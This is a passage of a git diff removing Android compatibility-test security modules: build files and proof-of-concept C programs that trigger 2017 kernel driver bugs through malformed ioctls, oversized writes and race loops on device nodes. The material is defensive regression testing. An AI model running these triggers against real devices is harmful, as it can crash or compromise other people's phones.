-    req.vbuf.src[1].len = 0xFFFFFFFE - 4;

-    req.vbuf.src[0].vaddr = (uint8_t*)data;

-    req.vbuf.src[1].vaddr = (uint8_t*)data;

-    req.vbuf.dst[0].len = 4;

-    req.vbuf.dst[1].len = 0xFFFFFFFE - 4;

-    req.vbuf.dst[0].vaddr = (uint8_t*)data;

-    req.vbuf.dst[1].vaddr = (uint8_t*)data;

-

-    ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);

-

-    exit(0);

-}

-

-int main(void)

-{

-    int fd;

-    const char *dev = "/dev/qce";

-

-    fd = open(dev, O_RDWR);

-    if (fd < 0) {

-	return EXIT_FAILURE;

-

-    }

-    thread_func(fd);

-

-    return EXIT_FAILURE;

-}

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
deleted file mode 100644
index 521bf98..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0577
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
deleted file mode 100644
index 42455be..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-#include <asm/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-
-int test_touch_fwu(){
-    char* dev_name = "/dev/touch_fwu";
-    int fd = open(dev_name, O_RDWR);
-
-    if (fd < 0)	{
-	return -1;
-    }
-
-    size_t buf_len = 0xfffff;
-    char* buf = (char*) malloc(buf_len);
-    if (buf == NULL ) {
-	return -1;
-    }
-
-    int ret = 0;
-    ret = write(fd, buf, buf_len);
-    free(buf);
-    return ret;
-}
-
-int main()
-{
-    test_touch_fwu();
-    return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
deleted file mode 100644
index dab0081..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0579
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact 
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
deleted file mode 100644
index 5bf4329..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <sys/ioctl.h>
-#include <linux/fb.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define MSMFB_IOCTL_MAGIC 'm'
-#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
-
-int call_ioctl(int file_desc, unsigned long request, void* param)
-{
-    int ret_val;
-
-    ret_val = ioctl(file_desc,  request, param);
-
-    if (ret_val < 0) {
-	return ret_val;
-    }
-    return ret_val;
-}
-
-int test_mdss_msm_fb(int file_desc)
-{
-    int ret_val;
-    unsigned char* buf = malloc(0x100);
-    struct fb_cursor cursor;
-
-    memset(&cursor, 0, sizeof(struct fb_cursor ));
-
-    cursor.set = FB_CUR_SETIMAGE;
-    cursor.enable = 1;
-    cursor.rop = 0;
-    cursor.mask = 0;
-    cursor.hot.x = 0x100;
-    cursor.hot.y = 0x100;
-    cursor.image.dx = 1439;
-    cursor.image.dy = 2559;
-    cursor.image.width = 0x1000;
-    cursor.image.height = 0x1000;
-    cursor.image.fg_color = 0xff;
-    cursor.image.bg_color = 0xff00;
-    cursor.image.depth = 32;
-    cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
-
-    ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
-    if(ret_val < 0) {
-	return ret_val;
-    }
-
-    free((void *)cursor.image.data);
-    free(buf);
-
-    return ret_val;
-}
-
-int main()
-{
-    int file_desc, ret_val;
-    const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
-
-    file_desc = open(DEVICE_FILE_NAME, 0);
-    if (file_desc < 0) {
-	return -1;
-    }
-
-    test_mdss_msm_fb(file_desc);
-
-    close(file_desc);
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
deleted file mode 100644
index ec3a6f6..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0580
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
deleted file mode 100644
index 0cf518a..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <asm/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-
-struct firmware {
-    size_t size;
-    const uint8_t *data;
-    void **pages;
-    void *priv;
-};
-
-#define TOUCH_FWU_IOCTL_CODE (0x81)
-#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
-#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
-#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
-#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
-#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
-
-void ioctl_modify_size_big(){
-    char* dev_name = "/dev/touch_fwu";
-    int fd = open(dev_name,O_RDWR);
-    if (fd < 0){
-	return ;
-    }
-
-    int cout = 1;
-    while(cout){
-	ioctl(fd, FW_FILE_SIZE , 0xffff );
-	ioctl(fd, FW_LOAD_DONE , 0);
-    }
-}
-
-void ioctl_modify_size_small(){
-    char* dev_name = "/dev/touch_fwu";
-    int fd = open(dev_name,O_RDWR);
-    if (fd < 0){
-	return ;
-    }
-
-    int cout = 1;
-    while(cout){
-	ioctl(fd, FW_FILE_SIZE , 0xf );
-	ioctl(fd, FW_LOAD_DONE , 0);
-    }
-}
-
-void ioctl_FW_UPDATE_PROCCESS(){
-    char* dev_name = "/dev/touch_fwu";
-    int fd = open(dev_name,O_RDWR);
-    if (fd < 0){
-	return ;
-    }
-
-    int cout = 1;
-    while(cout){
-	ioctl(fd, FW_UPDATE_PROCCESS , 0);
-    }
-}
-
-
-int main()
-{
-    pid_t pid = fork();
-    if (pid < 0) {
-	return -1;
-    }
-
-    if (0 == pid) {
-	ioctl_modify_size_big();
-    }
-    else {
-	pid_t pid1 = fork();
-	if (0 == pid1) {
-	    ioctl_modify_size_small();
-	}
-	else {
-	    ioctl_FW_UPDATE_PROCCESS();
-	}
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
deleted file mode 100644
index 1dc269d9..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0586
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
deleted file mode 100644
index 6e57c93..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-
-typedef int __bitwise snd_ctl_elem_iface_t;
-
-struct snd_ctl_elem_id {
-    unsigned int numid;
-    snd_ctl_elem_iface_t iface;
-    unsigned int device;
-    unsigned int subdevice;
-    unsigned char name[44];
-    unsigned int index;
-};
-
-struct snd_aes_iec958 {
-    unsigned char status[24];
-    unsigned char subcode[147];
-    unsigned char pad;
-    unsigned char dig_subframe[4];
-};
-
-struct snd_ctl_elem_value {
-    struct snd_ctl_elem_id id;
-    unsigned int indirect: 1;
-    union {
-	union {
-	    long value[128];
-	    long *value_ptr;
-	} integer;
-	union {
-	    long long value[64];
-	    long long *value_ptr;
-	} integer64;
-	union {
-	    unsigned int item[128];
-	    unsigned int *item_ptr;
-	} enumerated;
-	union {
-	    unsigned char data[512];
-	    unsigned char *data_ptr;
-	} bytes;
-	struct snd_aes_iec958 iec958;
-    } value;
-    struct timespec tstamp;
-    unsigned char reserved[128-sizeof(struct timespec)];
-};
-
-int main()
-{
-    int fd;
-    int ret;
-    void *map;
-    struct snd_ctl_elem_value arg;
-
-    fd = open("/dev/snd/controlC0", O_RDWR);
-    if(fd < 0){
-	return -1;
-    }
-
-    arg.id.numid = 148;
-    arg.value.enumerated.item[0] = 528;
-
-    ret = ioctl(fd,0xc4c85513,&arg);
-    if(ret < 0){
-	return -1;
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk
deleted file mode 100644
index ee4974c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0624
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c
deleted file mode 100644
index 6b6038f..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define DEBUG
-#ifdef DEBUG
-#define LOG(fmt, ...)                                                  \
-  do {                                                                 \
-    printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
-  } while (0)
-#else
-#define LOG(fmt, ...)
-#endif
-
-const char *infopath = "/proc/debugdriver/driverdump";
-
-void trigger(void);
-void ThreadFun(void);
-int test_read(int fd);
-
-int test_read(int fd) {
-#define SIZE 700
-  int ret;
-  char buf[SIZE] = {1};
-  ret = read(fd, buf, SIZE);
-  return 0;
-}
-
-void ThreadFun(void) {
-  int fd = -1;
-  size_t count = 1000;
-  while (count-- > 0) {
-    fd = open(infopath, O_RDWR);
-    if (fd > 0) {
-      test_read(fd);
-      close(fd);
-      fd = -1;
-    }
-  }
-}
-
-#define TC 20
-void trigger() {
-  int i, ret;
-  pthread_t tids[TC];
-  for (i = 0; i < TC; i++) {
-    ret = pthread_create((pthread_t *)&tids[i], NULL, (void *)ThreadFun, NULL);
-  }
-
-  for (i = 0; i < TC; i++) pthread_join(tids[i], NULL);
-}
-
-int main(int argc, char *argv[]) {
-  trigger();
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
deleted file mode 100644
index dd11e97..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2017-0705

-LOCAL_SRC_FILES := poc.c

-LOCAL_SHARED_LIBRARIES := libnl

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
deleted file mode 100644
index 8d48434..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
+++ /dev/null
@@ -1,257 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-
-#include <netlink/netlink.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <net/if.h>
-#include <linux/nl80211.h>
-
-#define OUI_GOOGLE  0x001A11
-#define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
-#define F1_32 0x41414141
-#define WL_CHANSPEC_BW_80               0x2000
-
-enum wl_vendor_subcmd {
-    BRCM_VENDOR_SCMD_UNSPEC,
-    BRCM_VENDOR_SCMD_PRIV_STR,
-    GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
-    GSCAN_SUBCMD_SET_CONFIG,
-    GSCAN_SUBCMD_SET_SCAN_CONFIG,
-    GSCAN_SUBCMD_ENABLE_GSCAN,
-    GSCAN_SUBCMD_GET_SCAN_RESULTS,
-    GSCAN_SUBCMD_SCAN_RESULTS,
-    GSCAN_SUBCMD_SET_HOTLIST,
-    GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-    GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-    GSCAN_SUBCMD_GET_CHANNEL_LIST,
-    ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-    ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-    ANDR_WIFI_RANDOM_MAC_OUI,
-    ANDR_WIFI_NODFS_CHANNELS,
-    ANDR_WIFI_SET_COUNTRY,
-    GSCAN_SUBCMD_SET_EPNO_SSID,
-    WIFI_SUBCMD_SET_SSID_WHITELIST,
-    WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-    WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-    WIFI_SUBCMD_SET_BSSID_PREF,
-    WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-    GSCAN_SUBCMD_ANQPO_CONFIG,
-    WIFI_SUBCMD_SET_RSSI_MONITOR,
-    RTT_SUBCMD_SET_CONFIG = 0x1100,
-    RTT_SUBCMD_CANCEL_CONFIG,
-    RTT_SUBCMD_GETCAPABILITY,
-    LSTATS_SUBCMD_GET_INFO = 0x1200,
-    DEBUG_START_LOGGING = 0x1400,
-    DEBUG_TRIGGER_MEM_DUMP,
-    DEBUG_GET_MEM_DUMP,
-    DEBUG_GET_VER,
-    DEBUG_GET_RING_STATUS,
-    DEBUG_GET_RING_DATA,
-    DEBUG_GET_FEATURE,
-    DEBUG_RESET_LOGGING,
-    WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
-    WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-    /* Add more sub commands here */
-    VENDOR_SUBCMD_MAX
-};
-
-enum debug_attributes {
-    DEBUG_ATTRIBUTE_GET_DRIVER,
-    DEBUG_ATTRIBUTE_GET_FW,
-    DEBUG_ATTRIBUTE_RING_ID,
-    DEBUG_ATTRIBUTE_RING_NAME,
-    DEBUG_ATTRIBUTE_RING_FLAGS,
-    DEBUG_ATTRIBUTE_LOG_LEVEL,
-    DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
-    DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
-    DEBUG_ATTRIBUTE_FW_DUMP_LEN,
-    DEBUG_ATTRIBUTE_FW_DUMP_DATA,
-    DEBUG_ATTRIBUTE_RING_DATA,
-    DEBUG_ATTRIBUTE_RING_STATUS,
-    DEBUG_ATTRIBUTE_RING_NUM
-};
-
-
-enum gscan_attributes {
-    GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
-    GSCAN_ATTRIBUTE_BASE_PERIOD,
-    GSCAN_ATTRIBUTE_BUCKETS_BAND,
-    GSCAN_ATTRIBUTE_BUCKET_ID,
-    GSCAN_ATTRIBUTE_BUCKET_PERIOD,
-    GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
-    GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
-    GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
-    GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
-    GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
-    GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
-    GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
-    GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
-    GSCAN_ATTRIBUTE_FLUSH_FEATURE,
-    GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
-    GSCAN_ATTRIBUTE_REPORT_EVENTS,
-    /* remaining reserved for additional attributes */
-    GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
-    GSCAN_ATTRIBUTE_FLUSH_RESULTS,
-    GSCAN_ATTRIBUTE_SCAN_RESULTS,                       /* flat array of wifi_scan_result */
-    GSCAN_ATTRIBUTE_SCAN_ID,                            /* indicates scan number */
-    GSCAN_ATTRIBUTE_SCAN_FLAGS,                         /* indicates if scan was aborted */
-    GSCAN_ATTRIBUTE_AP_FLAGS,                           /* flags on significant change event */
-    GSCAN_ATTRIBUTE_NUM_CHANNELS,
-    GSCAN_ATTRIBUTE_CHANNEL_LIST,
-    /* remaining reserved for additional attributes */
-    GSCAN_ATTRIBUTE_SSID = 40,
-    GSCAN_ATTRIBUTE_BSSID,
-    GSCAN_ATTRIBUTE_CHANNEL,
-    GSCAN_ATTRIBUTE_RSSI,
-    GSCAN_ATTRIBUTE_TIMESTAMP,
-    GSCAN_ATTRIBUTE_RTT,
-    GSCAN_ATTRIBUTE_RTTSD,
